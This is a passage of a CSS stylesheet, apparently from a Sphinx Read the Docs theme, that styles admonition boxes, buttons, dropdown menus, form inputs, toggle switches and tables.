#fff; background: #6ab0de; margin: -12px; padding: 6px 12px; margin-bottom: 12px } .wy-alert.wy-alert-danger, .rst-content .wy-alert-danger.note, .rst-content .wy-alert-danger.attention, .rst-content .wy-alert-danger.caution, .rst-content .danger, .rst-content .error, .rst-content .wy-alert-danger.hint, .rst-content .wy-alert-danger.important, .rst-content .wy-alert-danger.tip, .rst-content .wy-alert-danger.warning, .rst-content .wy-alert-danger.seealso, .rst-content .wy-alert-danger.admonition-todo, .rst-content .wy-alert-danger.admonition { background: #fdf3f2 } .wy-alert.wy-alert-danger .wy-alert-title, .rst-content .wy-alert-danger.note .wy-alert-title, .rst-content .wy-alert-danger.attention .wy-alert-title, .rst-content .wy-alert-danger.caution .wy-alert-title, .rst-content .danger .wy-alert-title, .rst-content .error .wy-alert-title, .rst-content .wy-alert-danger.hint .wy-alert-title, .rst-content .wy-alert-danger.important .wy-alert-title, .rst-content .wy-alert-danger.tip .wy-alert-title, .rst-content .wy-alert-danger.warning .wy-alert-title, .rst-content .wy-alert-danger.seealso .wy-alert-title, .rst-content .wy-alert-danger.admonition-todo .wy-alert-title, .rst-content .wy-alert-danger.admonition .wy-alert-title, .wy-alert.wy-alert-danger .rst-content .admonition-title, .rst-content .wy-alert.wy-alert-danger .admonition-title, .rst-content .wy-alert-danger.note .admonition-title, .rst-content .wy-alert-danger.attention .admonition-title, .rst-content .wy-alert-danger.caution .admonition-title, .rst-content .danger .admonition-title, .rst-content .error .admonition-title, .rst-content .wy-alert-danger.hint .admonition-title, .rst-content .wy-alert-danger.important .admonition-title, .rst-content .wy-alert-danger.tip .admonition-title, .rst-content .wy-alert-danger.warning .admonition-title, .rst-content .wy-alert-danger.seealso .admonition-title, .rst-content .wy-alert-danger.admonition-todo .admonition-title, .rst-content .wy-alert-danger.admonition .admonition-title { background: #f29f97 } .wy-alert.wy-alert-warning, .rst-content .wy-alert-warning.note, .rst-content .attention, .rst-content .caution, .rst-content .wy-alert-warning.danger, .rst-content .wy-alert-warning.error, .rst-content .wy-alert-warning.hint, .rst-content .wy-alert-warning.important, .rst-content .wy-alert-warning.tip, .rst-content .warning, .rst-content .wy-alert-warning.seealso, .rst-content .admonition-todo, .rst-content .wy-alert-warning.admonition { background: #ffedcc } .wy-alert.wy-alert-warning .wy-alert-title, .rst-content .wy-alert-warning.note .wy-alert-title, .rst-content .attention .wy-alert-title, .rst-content .caution .wy-alert-title, .rst-content .wy-alert-warning.danger .wy-alert-title, .rst-content .wy-alert-warning.error .wy-alert-title, .rst-content .wy-alert-warning.hint .wy-alert-title, .rst-content .wy-alert-warning.important .wy-alert-title, .rst-content .wy-alert-warning.tip .wy-alert-title, .rst-content .warning .wy-alert-title, .rst-content .wy-alert-warning.seealso .wy-alert-title, .rst-content .admonition-todo .wy-alert-title, .rst-content .wy-alert-warning.admonition .wy-alert-title, .wy-alert.wy-alert-warning .rst-content .admonition-title, .rst-content .wy-alert.wy-alert-warning .admonition-title, .rst-content .wy-alert-warning.note .admonition-title, .rst-content .attention .admonition-title, .rst-content .caution .admonition-title, .rst-content .wy-alert-warning.danger .admonition-title, .rst-content .wy-alert-warning.error .admonition-title, .rst-content .wy-alert-warning.hint .admonition-title, .rst-content .wy-alert-warning.important .admonition-title, .rst-content .wy-alert-warning.tip .admonition-title, .rst-content .warning .admonition-title, .rst-content .wy-alert-warning.seealso .admonition-title, .rst-content .admonition-todo .admonition-title, .rst-content .wy-alert-warning.admonition .admonition-title { background: #f0b37e } .wy-alert.wy-alert-info, .rst-content .note, .rst-content .wy-alert-info.attention, .rst-content .wy-alert-info.caution, .rst-content .wy-alert-info.danger, .rst-content .wy-alert-info.error, .rst-content .wy-alert-info.hint, .rst-content .wy-alert-info.important, .rst-content .wy-alert-info.tip, .rst-content .wy-alert-info.warning, .rst-content .seealso, .rst-content .wy-alert-info.admonition-todo, .rst-content .wy-alert-info.admonition { background: #e7f2fa } .wy-alert.wy-alert-info .wy-alert-title, .rst-content .note .wy-alert-title, .rst-content .wy-alert-info.attention .wy-alert-title, .rst-content .wy-alert-info.caution .wy-alert-title, .rst-content .wy-alert-info.danger .wy-alert-title, .rst-content .wy-alert-info.error .wy-alert-title, .rst-content .wy-alert-info.hint .wy-alert-title, .rst-content .wy-alert-info.important .wy-alert-title, .rst-content .wy-alert-info.tip .wy-alert-title, .rst-content .wy-alert-info.warning .wy-alert-title, .rst-content .seealso .wy-alert-title, .rst-content .wy-alert-info.admonition-todo .wy-alert-title, .rst-content .wy-alert-info.admonition .wy-alert-title, .wy-alert.wy-alert-info .rst-content .admonition-title, .rst-content .wy-alert.wy-alert-info .admonition-title, .rst-content .note .admonition-title, .rst-content .wy-alert-info.attention .admonition-title, .rst-content .wy-alert-info.caution .admonition-title, .rst-content .wy-alert-info.danger .admonition-title, .rst-content .wy-alert-info.error .admonition-title, .rst-content .wy-alert-info.hint .admonition-title, .rst-content .wy-alert-info.important .admonition-title, .rst-content .wy-alert-info.tip .admonition-title, .rst-content .wy-alert-info.warning .admonition-title, .rst-content .seealso .admonition-title, .rst-content .wy-alert-info.admonition-todo .admonition-title, .rst-content .wy-alert-info.admonition .admonition-title { background: #6ab0de } .wy-alert.wy-alert-success, .rst-content .wy-alert-success.note, .rst-content .wy-alert-success.attention, .rst-content .wy-alert-success.caution, .rst-content .wy-alert-success.danger, .rst-content .wy-alert-success.error, .rst-content .hint, .rst-content .important, .rst-content .tip, .rst-content .wy-alert-success.warning, .rst-content .wy-alert-success.seealso, .rst-content .wy-alert-success.admonition-todo, .rst-content .wy-alert-success.admonition { background: #dbfaf4 } .wy-alert.wy-alert-success .wy-alert-title, .rst-content .wy-alert-success.note .wy-alert-title, .rst-content .wy-alert-success.attention .wy-alert-title, .rst-content .wy-alert-success.caution .wy-alert-title, .rst-content .wy-alert-success.danger .wy-alert-title, .rst-content .wy-alert-success.error .wy-alert-title, .rst-content .hint .wy-alert-title, .rst-content .important .wy-alert-title, .rst-content .tip .wy-alert-title, .rst-content .wy-alert-success.warning .wy-alert-title, .rst-content .wy-alert-success.seealso .wy-alert-title, .rst-content .wy-alert-success.admonition-todo .wy-alert-title, .rst-content .wy-alert-success.admonition .wy-alert-title, .wy-alert.wy-alert-success .rst-content .admonition-title, .rst-content .wy-alert.wy-alert-success .admonition-title, .rst-content .wy-alert-success.note .admonition-title, .rst-content .wy-alert-success.attention .admonition-title, .rst-content .wy-alert-success.caution .admonition-title, .rst-content .wy-alert-success.danger .admonition-title, .rst-content .wy-alert-success.error .admonition-title, .rst-content .hint .admonition-title, .rst-content .important .admonition-title, .rst-content .tip .admonition-title, .rst-content .wy-alert-success.warning .admonition-title, .rst-content .wy-alert-success.seealso .admonition-title, .rst-content .wy-alert-success.admonition-todo .admonition-title, .rst-content .wy-alert-success.admonition .admonition-title { background: #1abc9c } .wy-alert.wy-alert-neutral, .rst-content .wy-alert-neutral.note, .rst-content .wy-alert-neutral.attention, .rst-content .wy-alert-neutral.caution, .rst-content .wy-alert-neutral.danger, .rst-content .wy-alert-neutral.error, .rst-content .wy-alert-neutral.hint, .rst-content .wy-alert-neutral.important, .rst-content .wy-alert-neutral.tip, .rst-content .wy-alert-neutral.warning, .rst-content .wy-alert-neutral.seealso, .rst-content .wy-alert-neutral.admonition-todo, .rst-content .wy-alert-neutral.admonition { background: #f3f6f6 } .wy-alert.wy-alert-neutral .wy-alert-title, .rst-content .wy-alert-neutral.note .wy-alert-title, .rst-content .wy-alert-neutral.attention .wy-alert-title, .rst-content .wy-alert-neutral.caution .wy-alert-title, .rst-content .wy-alert-neutral.danger .wy-alert-title, .rst-content .wy-alert-neutral.error .wy-alert-title, .rst-content .wy-alert-neutral.hint .wy-alert-title, .rst-content .wy-alert-neutral.important .wy-alert-title, .rst-content .wy-alert-neutral.tip .wy-alert-title, .rst-content .wy-alert-neutral.warning .wy-alert-title, .rst-content .wy-alert-neutral.seealso .wy-alert-title, .rst-content .wy-alert-neutral.admonition-todo .wy-alert-title, .rst-content .wy-alert-neutral.admonition .wy-alert-title, .wy-alert.wy-alert-neutral .rst-content .admonition-title, .rst-content .wy-alert.wy-alert-neutral .admonition-title, .rst-content .wy-alert-neutral.note .admonition-title, .rst-content .wy-alert-neutral.attention .admonition-title, .rst-content .wy-alert-neutral.caution .admonition-title, .rst-content .wy-alert-neutral.danger .admonition-title, .rst-content .wy-alert-neutral.error .admonition-title, .rst-content .wy-alert-neutral.hint .admonition-title, .rst-content .wy-alert-neutral.important .admonition-title, .rst-content .wy-alert-neutral.tip .admonition-title, .rst-content .wy-alert-neutral.warning .admonition-title, .rst-content .wy-alert-neutral.seealso .admonition-title, .rst-content .wy-alert-neutral.admonition-todo .admonition-title, .rst-content .wy-alert-neutral.admonition .admonition-title { color: #404040; background: #e1e4e5 } .wy-alert.wy-alert-neutral a, .rst-content .wy-alert-neutral.note a, .rst-content .wy-alert-neutral.attention a, .rst-content .wy-alert-neutral.caution a, .rst-content .wy-alert-neutral.danger a, .rst-content .wy-alert-neutral.error a, .rst-content .wy-alert-neutral.hint a, .rst-content .wy-alert-neutral.important a, .rst-content .wy-alert-neutral.tip a, .rst-content .wy-alert-neutral.warning a, .rst-content .wy-alert-neutral.seealso a, .rst-content .wy-alert-neutral.admonition-todo a, .rst-content .wy-alert-neutral.admonition a { color: #2980B9 } .wy-alert p:last-child, .rst-content .note p:last-child, .rst-content .attention p:last-child, .rst-content .caution p:last-child, .rst-content .danger p:last-child, .rst-content .error p:last-child, .rst-content .hint p:last-child, .rst-content .important p:last-child, .rst-content .tip p:last-child, .rst-content .warning p:last-child, .rst-content .seealso p:last-child, .rst-content .admonition-todo p:last-child, .rst-content .admonition p:last-child { margin-bottom: 0 } .wy-tray-container { position: fixed; bottom: 0px; left: 0; z-index: 600 } .wy-tray-container li { display: block; width: 300px; background: transparent; color: #fff; text-align: center; box-shadow: 0 5px 5px 0 rgba(0, 0, 0, 0.1); padding: 0 24px; min-width: 20%; opacity: 0; height: 0; line-height: 56px; overflow: hidden; -webkit-transition: all .3s ease-in; -moz-transition: all .3s ease-in; transition: all .3s ease-in } .wy-tray-container li.wy-tray-item-success { background: #052882 } .wy-tray-container li.wy-tray-item-info { background: #2980B9 } .wy-tray-container li.wy-tray-item-warning { background: #E67E22 } .wy-tray-container li.wy-tray-item-danger { background: #E74C3C } .wy-tray-container li.on { opacity: 1; height: 56px } @media screen and (max-width: 768px) { .wy-tray-container { bottom: auto; top: 0; width: 100% } .wy-tray-container li { width: 100% } } button { font-size: 100%; margin: 0; vertical-align: baseline; *vertical-align: middle; cursor: pointer; line-height: normal; -webkit-appearance: button; *overflow: visible } button::-moz-focus-inner, input::-moz-focus-inner { border: 0; padding: 0 } button[disabled] { cursor: default } .btn { display: inline-block; border-radius: 2px; line-height: normal; white-space: nowrap; text-align: center; cursor: pointer; font-size: 100%; padding: 6px 12px 8px 12px; color: #fff; border: 1px solid rgba(0, 0, 0, 0.1); background-color: #052882; text-decoration: none; font-weight: normal; font-family: "Lato", "proxima-nova", "Helvetica Neue", Arial, sans-serif; box-shadow: 0px 1px 2px -1px rgba(255, 255, 255, 0.5) inset, 0px -2px 0px 0px rgba(0, 0, 0, 0.1) inset; outline-none: false; vertical-align: middle; *display: inline; zoom: 1; -webkit-user-drag: none; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; -webkit-transition: all .1s linear; -moz-transition: all .1s linear; transition: all .1s linear } .btn-hover { background: #409ad5; color: #fff } .btn:hover { background: #409ad5; color: #fff } .btn:focus { background: #409ad5; outline: 0 } .btn:active { box-shadow: 0px -1px 0px 0px rgba(0, 0, 0, 0.05) inset, 0px 2px 0px 0px rgba(0, 0, 0, 0.1) inset; padding: 8px 12px 6px 12px } .btn:visited { color: #fff } .btn:disabled { background-image: none; filter: progid:DXImageTransform.Microsoft.gradient(enabled=false); filter: alpha(opacity=40); opacity: .4; cursor: not-allowed; box-shadow: none } .btn-disabled { background-image: none; filter: progid:DXImageTransform.Microsoft.gradient(enabled=false); filter: alpha(opacity=40); opacity: .4; cursor: not-allowed; box-shadow: none } .btn-disabled:hover, .btn-disabled:focus, .btn-disabled:active { background-image: none; filter: progid:DXImageTransform.Microsoft.gradient(enabled=false); filter: alpha(opacity=40); opacity: .4; cursor: not-allowed; box-shadow: none } .btn::-moz-focus-inner { padding: 0; border: 0 } .btn-small { font-size: 80% } .btn-info { background-color: #2980B9 !important } .btn-info:hover { background-color: #2e8ece !important } .btn-neutral { background-color: #f3f6f6 !important; color: #404040 !important } .btn-neutral:hover { background-color: #e5ebeb !important; color: #404040 } .btn-neutral:visited { color: #404040 !important } .btn-success { background-color: #052882 !important } .btn-success:hover { background-color: #295 !important } .btn-danger { background-color: #E74C3C !important } .btn-danger:hover { background-color: #ea6153 !important } .btn-warning { background-color: #E67E22 !important } .btn-warning:hover { background-color: #e98b39 !important } .btn-invert { background-color: #222 } .btn-invert:hover { background-color: #2f2f2f !important } .btn-link { background-color: transparent !important; color: #2980B9; box-shadow: none; border-color: transparent !important } .btn-link:hover { background-color: transparent !important; color: #409ad5 !important; box-shadow: none } .btn-link:active { background-color: transparent !important; color: #409ad5 !important; box-shadow: none } .btn-link:visited { color: #9B59B6 } .wy-btn-group .btn, .wy-control .btn { vertical-align: middle } .wy-btn-group { margin-bottom: 24px; *zoom: 1 } .wy-btn-group:before, .wy-btn-group:after { display: table; content: "" } .wy-btn-group:after { clear: both } .wy-dropdown { position: relative; display: inline-block } .wy-dropdown-active .wy-dropdown-menu { display: block } .wy-dropdown-menu { position: absolute; left: 0; display: none; float: left; top: 100%; min-width: 100%; background: #fcfcfc; z-index: 100; border: solid 1px #cfd7dd; box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.1); padding: 12px } .wy-dropdown-menu>dd>a { display: block; clear: both; color: #404040; white-space: nowrap; font-size: 90%; padding: 0 12px; cursor: pointer } .wy-dropdown-menu>dd>a:hover { background: #2980B9; color: #fff } .wy-dropdown-menu>dd.divider { border-top: solid 1px #cfd7dd; margin: 6px 0 } .wy-dropdown-menu>dd.search { padding-bottom: 12px } .wy-dropdown-menu>dd.search input[type="search"] { width: 100% } .wy-dropdown-menu>dd.call-to-action { background: #e3e3e3; text-transform: uppercase; font-weight: 500; font-size: 80% } .wy-dropdown-menu>dd.call-to-action:hover { background: #e3e3e3 } .wy-dropdown-menu>dd.call-to-action .btn { color: #fff } .wy-dropdown.wy-dropdown-up .wy-dropdown-menu { bottom: 100%; top: auto; left: auto; right: 0 } .wy-dropdown.wy-dropdown-bubble .wy-dropdown-menu { background: #fcfcfc; margin-top: 2px } .wy-dropdown.wy-dropdown-bubble .wy-dropdown-menu a { padding: 6px 12px } .wy-dropdown.wy-dropdown-bubble .wy-dropdown-menu a:hover { background: #2980B9; color: #fff } .wy-dropdown.wy-dropdown-left .wy-dropdown-menu { right: 0; left: auto; text-align: right } .wy-dropdown-arrow:before { content: " "; border-bottom: 5px solid #f5f5f5; border-left: 5px solid transparent; border-right: 5px solid transparent; position: absolute; display: block; top: -4px; left: 50%; margin-left: -3px } .wy-dropdown-arrow.wy-dropdown-arrow-left:before { left: 11px } .wy-form-stacked select { display: block } .wy-form-aligned input, .wy-form-aligned textarea, .wy-form-aligned select, .wy-form-aligned .wy-help-inline, .wy-form-aligned label { display: inline-block; *display: inline; *zoom: 1; vertical-align: middle } .wy-form-aligned .wy-control-group>label { display: inline-block; vertical-align: middle; width: 10em; margin: 6px 12px 0 0; float: left } .wy-form-aligned .wy-control { float: left } .wy-form-aligned .wy-control label { display: block } .wy-form-aligned .wy-control select { margin-top: 6px } fieldset { border: 0; margin: 0; padding: 0 } legend { display: block; width: 100%; border: 0; padding: 0; white-space: normal; margin-bottom: 24px; font-size: 150%; *margin-left: -7px } label { display: block; margin: 0 0 .3125em 0; color: #333; font-size: 90% } input, select, textarea { font-size: 100%; margin: 0; vertical-align: baseline; *vertical-align: middle } .wy-control-group { margin-bottom: 24px; *zoom: 1; max-width: 68em; margin-left: auto; margin-right: auto; *zoom: 1 } .wy-control-group:before, .wy-control-group:after { display: table; content: "" } .wy-control-group:after { clear: both } .wy-control-group:before, .wy-control-group:after { display: table; content: "" } .wy-control-group:after { clear: both } .wy-control-group.wy-control-group-required>label:after { content: " *"; color: #E74C3C } .wy-control-group .wy-form-full, .wy-control-group .wy-form-halves, .wy-control-group .wy-form-thirds { padding-bottom: 12px } .wy-control-group .wy-form-full select, .wy-control-group .wy-form-halves select, .wy-control-group .wy-form-thirds select { width: 100% } .wy-control-group .wy-form-full input[type="text"], .wy-control-group .wy-form-full input[type="password"], .wy-control-group .wy-form-full input[type="email"], .wy-control-group .wy-form-full input[type="url"], .wy-control-group .wy-form-full input[type="date"], .wy-control-group .wy-form-full input[type="month"], .wy-control-group .wy-form-full input[type="time"], .wy-control-group .wy-form-full input[type="datetime"], .wy-control-group .wy-form-full input[type="datetime-local"], .wy-control-group .wy-form-full input[type="week"], .wy-control-group .wy-form-full input[type="number"], .wy-control-group .wy-form-full input[type="search"], .wy-control-group .wy-form-full input[type="tel"], .wy-control-group .wy-form-full input[type="color"], .wy-control-group .wy-form-halves input[type="text"], .wy-control-group .wy-form-halves input[type="password"], .wy-control-group .wy-form-halves input[type="email"], .wy-control-group .wy-form-halves input[type="url"], .wy-control-group .wy-form-halves input[type="date"], .wy-control-group .wy-form-halves input[type="month"], .wy-control-group .wy-form-halves input[type="time"], .wy-control-group .wy-form-halves input[type="datetime"], .wy-control-group .wy-form-halves input[type="datetime-local"], .wy-control-group .wy-form-halves input[type="week"], .wy-control-group .wy-form-halves input[type="number"], .wy-control-group .wy-form-halves input[type="search"], .wy-control-group .wy-form-halves input[type="tel"], .wy-control-group .wy-form-halves input[type="color"], .wy-control-group .wy-form-thirds input[type="text"], .wy-control-group .wy-form-thirds input[type="password"], .wy-control-group .wy-form-thirds input[type="email"], .wy-control-group .wy-form-thirds input[type="url"], .wy-control-group .wy-form-thirds input[type="date"], .wy-control-group .wy-form-thirds input[type="month"], .wy-control-group .wy-form-thirds input[type="time"], .wy-control-group .wy-form-thirds input[type="datetime"], .wy-control-group .wy-form-thirds input[type="datetime-local"], .wy-control-group .wy-form-thirds input[type="week"], .wy-control-group .wy-form-thirds input[type="number"], .wy-control-group .wy-form-thirds input[type="search"], .wy-control-group .wy-form-thirds input[type="tel"], .wy-control-group .wy-form-thirds input[type="color"] { width: 100% } .wy-control-group .wy-form-full { float: left; display: block; margin-right: 2.3576515979%; width: 100%; margin-right: 0 } .wy-control-group .wy-form-full:last-child { margin-right: 0 } .wy-control-group .wy-form-halves { float: left; display: block; margin-right: 2.3576515979%; width: 48.821174201% } .wy-control-group .wy-form-halves:last-child { margin-right: 0 } .wy-control-group .wy-form-halves:nth-of-type(2n) { margin-right: 0 } .wy-control-group .wy-form-halves:nth-of-type(2n+1) { clear: left } .wy-control-group .wy-form-thirds { float: left; display: block; margin-right: 2.3576515979%; width: 31.7615656014% } .wy-control-group .wy-form-thirds:last-child { margin-right: 0 } .wy-control-group .wy-form-thirds:nth-of-type(3n) { margin-right: 0 } .wy-control-group .wy-form-thirds:nth-of-type(3n+1) { clear: left } .wy-control-group.wy-control-group-no-input .wy-control { margin: 6px 0 0 0; font-size: 90% } .wy-control-no-input { display: inline-block; margin: 6px 0 0 0; font-size: 90% } .wy-control-group.fluid-input input[type="text"], .wy-control-group.fluid-input input[type="password"], .wy-control-group.fluid-input input[type="email"], .wy-control-group.fluid-input input[type="url"], .wy-control-group.fluid-input input[type="date"], .wy-control-group.fluid-input input[type="month"], .wy-control-group.fluid-input input[type="time"], .wy-control-group.fluid-input input[type="datetime"], .wy-control-group.fluid-input input[type="datetime-local"], .wy-control-group.fluid-input input[type="week"], .wy-control-group.fluid-input input[type="number"], .wy-control-group.fluid-input input[type="search"], .wy-control-group.fluid-input input[type="tel"], .wy-control-group.fluid-input input[type="color"] { width: 100% } .wy-form-message-inline { display: inline-block; padding-left: .3em; color: #666; vertical-align: middle; font-size: 90% } .wy-form-message { display: block; color: #999; font-size: 70%; margin-top: .3125em; font-style: italic } .wy-form-message p { font-size: inherit; font-style: italic; margin-bottom: 6px } .wy-form-message p:last-child { margin-bottom: 0 } input { line-height: normal } input[type="button"], input[type="reset"], input[type="submit"] { -webkit-appearance: button; cursor: pointer; font-family: "Lato", "proxima-nova", "Helvetica Neue", Arial, sans-serif; *overflow: visible } input[type="text"], input[type="password"], input[type="email"], input[type="url"], input[type="date"], input[type="month"], input[type="time"], input[type="datetime"], input[type="datetime-local"], input[type="week"], input[type="number"], input[type="search"], input[type="tel"], input[type="color"] { -webkit-appearance: none; padding: 6px; display: inline-block; border: 1px solid #ccc; font-size: 80%; font-family: "Lato", "proxima-nova", "Helvetica Neue", Arial, sans-serif; box-shadow: inset 0 1px 3px #ddd; border-radius: 0; -webkit-transition: border .3s linear; -moz-transition: border .3s linear; transition: border .3s linear } input[type="datetime-local"] { padding: .34375em .625em } input[disabled] { cursor: default } input[type="checkbox"], input[type="radio"] { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; padding: 0; margin-right: .3125em; *height: 13px; *width: 13px } input[type="search"] { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box } input[type="search"]::-webkit-search-cancel-button, input[type="search"]::-webkit-search-decoration { -webkit-appearance: none } input[type="text"]:focus, input[type="password"]:focus, input[type="email"]:focus, input[type="url"]:focus, input[type="date"]:focus, input[type="month"]:focus, input[type="time"]:focus, input[type="datetime"]:focus, input[type="datetime-local"]:focus, input[type="week"]:focus, input[type="number"]:focus, input[type="search"]:focus, input[type="tel"]:focus, input[type="color"]:focus { outline: 0; outline: thin dotted \9; border-color: #333 } input.no-focus:focus { border-color: #ccc !important } input[type="file"]:focus, input[type="radio"]:focus, input[type="checkbox"]:focus { outline: thin dotted #333; outline: 1px auto #129FEA } input[type="text"][disabled], input[type="password"][disabled], input[type="email"][disabled], input[type="url"][disabled], input[type="date"][disabled], input[type="month"][disabled], input[type="time"][disabled], input[type="datetime"][disabled], input[type="datetime-local"][disabled], input[type="week"][disabled], input[type="number"][disabled], input[type="search"][disabled], input[type="tel"][disabled], input[type="color"][disabled] { cursor: not-allowed; background-color: #fafafa } input:focus:invalid, textarea:focus:invalid, select:focus:invalid { color: #E74C3C; border: 1px solid #E74C3C } input:focus:invalid:focus, textarea:focus:invalid:focus, select:focus:invalid:focus { border-color: #E74C3C } input[type="file"]:focus:invalid:focus, input[type="radio"]:focus:invalid:focus, input[type="checkbox"]:focus:invalid:focus { outline-color: #E74C3C } input.wy-input-large { padding: 12px; font-size: 100% } textarea { overflow: auto; vertical-align: top; width: 100%; font-family: "Lato", "proxima-nova", "Helvetica Neue", Arial, sans-serif } select, textarea { padding: .5em .625em; display: inline-block; border: 1px solid #ccc; font-size: 80%; box-shadow: inset 0 1px 3px #ddd; -webkit-transition: border .3s linear; -moz-transition: border .3s linear; transition: border .3s linear } select { border: 1px solid #ccc; background-color: #fff } select[multiple] { height: auto } select:focus, textarea:focus { outline: 0 } select[disabled], textarea[disabled], input[readonly], select[readonly], textarea[readonly] { cursor: not-allowed; background-color: #fafafa } input[type="radio"][disabled], input[type="checkbox"][disabled] { cursor: not-allowed } .wy-checkbox, .wy-radio { margin: 6px 0; color: #404040; display: block } .wy-checkbox input, .wy-radio input { vertical-align: baseline } .wy-form-message-inline { display: inline-block; *display: inline; *zoom: 1; vertical-align: middle } .wy-input-prefix, .wy-input-suffix { white-space: nowrap; padding: 6px } .wy-input-prefix .wy-input-context, .wy-input-suffix .wy-input-context { line-height: 27px; padding: 0 8px; display: inline-block; font-size: 80%; background-color: #f3f6f6; border: solid 1px #ccc; color: #999 } .wy-input-suffix .wy-input-context { border-left: 0 } .wy-input-prefix .wy-input-context { border-right: 0 } .wy-switch { position: relative; display: block; height: 24px; margin-top: 12px; cursor: pointer } .wy-switch:before { position: absolute; content: ""; display: block; left: 0; top: 0; width: 36px; height: 12px; border-radius: 4px; background: #ccc; -webkit-transition: all .2s ease-in-out; -moz-transition: all .2s ease-in-out; transition: all .2s ease-in-out } .wy-switch:after { position: absolute; content: ""; display: block; width: 18px; height: 18px; border-radius: 4px; background: #999; left: -3px; top: -3px; -webkit-transition: all .2s ease-in-out; -moz-transition: all .2s ease-in-out; transition: all .2s ease-in-out } .wy-switch span { position: absolute; left: 48px; display: block; font-size: 12px; color: #ccc; line-height: 1 } .wy-switch.active:before { background: #1e8449 } .wy-switch.active:after { left: 24px; background: #052882 } .wy-switch.disabled { cursor: not-allowed; opacity: .8 } .wy-control-group.wy-control-group-error .wy-form-message, .wy-control-group.wy-control-group-error>label { color: #E74C3C } .wy-control-group.wy-control-group-error input[type="text"], .wy-control-group.wy-control-group-error input[type="password"], .wy-control-group.wy-control-group-error input[type="email"], .wy-control-group.wy-control-group-error input[type="url"], .wy-control-group.wy-control-group-error input[type="date"], .wy-control-group.wy-control-group-error input[type="month"], .wy-control-group.wy-control-group-error input[type="time"], .wy-control-group.wy-control-group-error input[type="datetime"], .wy-control-group.wy-control-group-error input[type="datetime-local"], .wy-control-group.wy-control-group-error input[type="week"], .wy-control-group.wy-control-group-error input[type="number"], .wy-control-group.wy-control-group-error input[type="search"], .wy-control-group.wy-control-group-error input[type="tel"], .wy-control-group.wy-control-group-error input[type="color"] { border: solid 1px #E74C3C } .wy-control-group.wy-control-group-error textarea { border: solid 1px #E74C3C } .wy-inline-validate { white-space: nowrap } .wy-inline-validate .wy-input-context { padding: .5em .625em; display: inline-block; font-size: 80% } .wy-inline-validate.wy-inline-validate-success .wy-input-context { color: #052882 } .wy-inline-validate.wy-inline-validate-danger .wy-input-context { color: #E74C3C } .wy-inline-validate.wy-inline-validate-warning .wy-input-context { color: #E67E22 } .wy-inline-validate.wy-inline-validate-info .wy-input-context { color: #2980B9 } .rotate-90 { -webkit-transform: rotate(90deg); -moz-transform: rotate(90deg); -ms-transform: rotate(90deg); -o-transform: rotate(90deg); transform: rotate(90deg) } .rotate-180 { -webkit-transform: rotate(180deg); -moz-transform: rotate(180deg); -ms-transform: rotate(180deg); -o-transform: rotate(180deg); transform: rotate(180deg) } .rotate-270 { -webkit-transform: rotate(270deg); -moz-transform: rotate(270deg); -ms-transform: rotate(270deg); -o-transform: rotate(270deg); transform: rotate(270deg) } .mirror { -webkit-transform: scaleX(-1); -moz-transform: scaleX(-1); -ms-transform: scaleX(-1); -o-transform: scaleX(-1); transform: scaleX(-1) } .mirror.rotate-90 { -webkit-transform: scaleX(-1) rotate(90deg); -moz-transform: scaleX(-1) rotate(90deg); -ms-transform: scaleX(-1) rotate(90deg); -o-transform: scaleX(-1) rotate(90deg); transform: scaleX(-1) rotate(90deg) } .mirror.rotate-180 { -webkit-transform: scaleX(-1) rotate(180deg); -moz-transform: scaleX(-1) rotate(180deg); -ms-transform: scaleX(-1) rotate(180deg); -o-transform: scaleX(-1) rotate(180deg); transform: scaleX(-1) rotate(180deg) } .mirror.rotate-270 { -webkit-transform: scaleX(-1) rotate(270deg); -moz-transform: scaleX(-1) rotate(270deg); -ms-transform: scaleX(-1) rotate(270deg); -o-transform: scaleX(-1) rotate(270deg); transform: scaleX(-1) rotate(270deg) } @media only screen and (max-width: 480px) { .wy-form button[type="submit"] { margin: .7em 0 0 } .wy-form input[type="text"], .wy-form input[type="password"], .wy-form input[type="email"], .wy-form input[type="url"], .wy-form input[type="date"], .wy-form input[type="month"], .wy-form input[type="time"], .wy-form input[type="datetime"], .wy-form input[type="datetime-local"], .wy-form input[type="week"], .wy-form input[type="number"], .wy-form input[type="search"], .wy-form input[type="tel"], .wy-form input[type="color"] { margin-bottom: .3em; display: block } .wy-form label { margin-bottom: .3em; display: block } .wy-form input[type="password"], .wy-form input[type="email"], .wy-form input[type="url"], .wy-form input[type="date"], .wy-form input[type="month"], .wy-form input[type="time"], .wy-form input[type="datetime"], .wy-form input[type="datetime-local"], .wy-form input[type="week"], .wy-form input[type="number"], .wy-form input[type="search"], .wy-form input[type="tel"], .wy-form input[type="color"] { margin-bottom: 0 } .wy-form-aligned .wy-control-group label { margin-bottom: .3em; text-align: left; display: block; width: 100% } .wy-form-aligned .wy-control { margin: 1.5em 0 0 0 } .wy-form .wy-help-inline, .wy-form-message-inline, .wy-form-message { display: block; font-size: 80%; padding: 6px 0 } } @media screen and (max-width: 768px) { .tablet-hide { display: none } } @media screen and (max-width: 480px) { .mobile-hide { display: none } } .float-left { float: left } .float-right { float: right } .full-width { width: 100% } .wy-table, .rst-content table.docutils, .rst-content table.field-list { border-collapse: collapse; border-spacing: 0; empty-cells: show; margin-bottom: 24px } .wy-table caption, .rst-content table.docutils caption, .rst-content table.field-list caption { color: #000; font: italic 85%/1 arial, sans-serif; padding: 1em 0; text-align: center } .wy-table td, .rst-content table.docutils td, .rst-content table.field-list td, .wy-table th, .rst-content table.docutils th, .rst-content table.field-list th { font-size: 90%; margin: 0; overflow: visible; padding: 8px 16px } .wy-table td:first-child, .rst-content table.docutils td:first-child, .rst-content table.field-list td:first-child, .wy-table th:first-child, .rst-content table.docutils th:first-child, .rst-content table.field-list th:first-child { border-left-width: 0 } .wy-table thead, .rst-content table.docutils thead, .rst-content table.field-list thead { color: #000; text-align: left; vertical-align: bottom; white-space: nowrap } .wy-table thead th, .rst-content table.docutils thead th, .rst-content table.field-list thead th { font-weight: bold; border-bottom: solid 2px #e1e4e5 } .wy-table td, .rst-content table.docutils td, .rst-content table.field-list td { background-color: transparent; vertical-align: middle } .wy-table td p, .rst-content table.docutils td p, .rst-content table.field-list td p { line-height: 18px } .wy-table td p:last-child, .rst-content table.docutils td p:last-child, .rst-content table.field-list td p:last-child { margin-bottom: 0 } .wy-table .wy-table-cell-min, .rst-content table.docutils .wy-table-cell-min, .rst-content 